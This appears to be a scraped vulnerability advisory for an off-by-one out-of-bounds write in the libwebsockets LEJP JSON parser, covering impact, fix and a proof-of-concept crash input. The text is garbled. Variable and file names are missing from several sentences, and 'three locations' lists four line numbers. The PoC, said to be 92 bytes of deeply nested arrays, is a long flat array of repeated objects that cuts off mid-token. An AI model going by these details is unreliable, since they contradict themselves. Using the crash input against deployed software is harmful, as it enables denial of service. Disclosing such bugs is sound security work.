libwebsockets LEJP JSON Parser Off-by-one Out-of-bounds Write

Vulnerability Overview Vulnerability Name: LEJP incremental JSON parser index-stack off-by-one Vulnerability ID: CWE-787 (Out-of-bounds Write) #3663 Vulnerability Type: Index stack overflow (off-by-one) Affected Version: libwebsockets main commit 186b542cf Severity: Medium (Deterministic 2-byte out-of-bounds write; crash in sanitized builds; adjacent member corruption in release builds) Impact Scope Affected Code: Three locations in (:286, :304, :478, :507) Specific Impact: When equals 64, writes beyond the boundary of , overwriting the adjacent field. Remediation Fix Method: Check if is less than before writing. Verification: All 15 crash samples reported no crashes in the fixed build, and 87 benign seeds combined with deep nested boundary inputs (60-70 levels deep) still parsed correctly. POC Code ```c 92 bytes of deeply nested arrays (crash_2): [{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a":1},{"a

Goal Reached Thanks to every supporter — we hit 100%!

libwebsockets LEJP JSON Parser Off-by-one Out-of-bounds Write

More from this source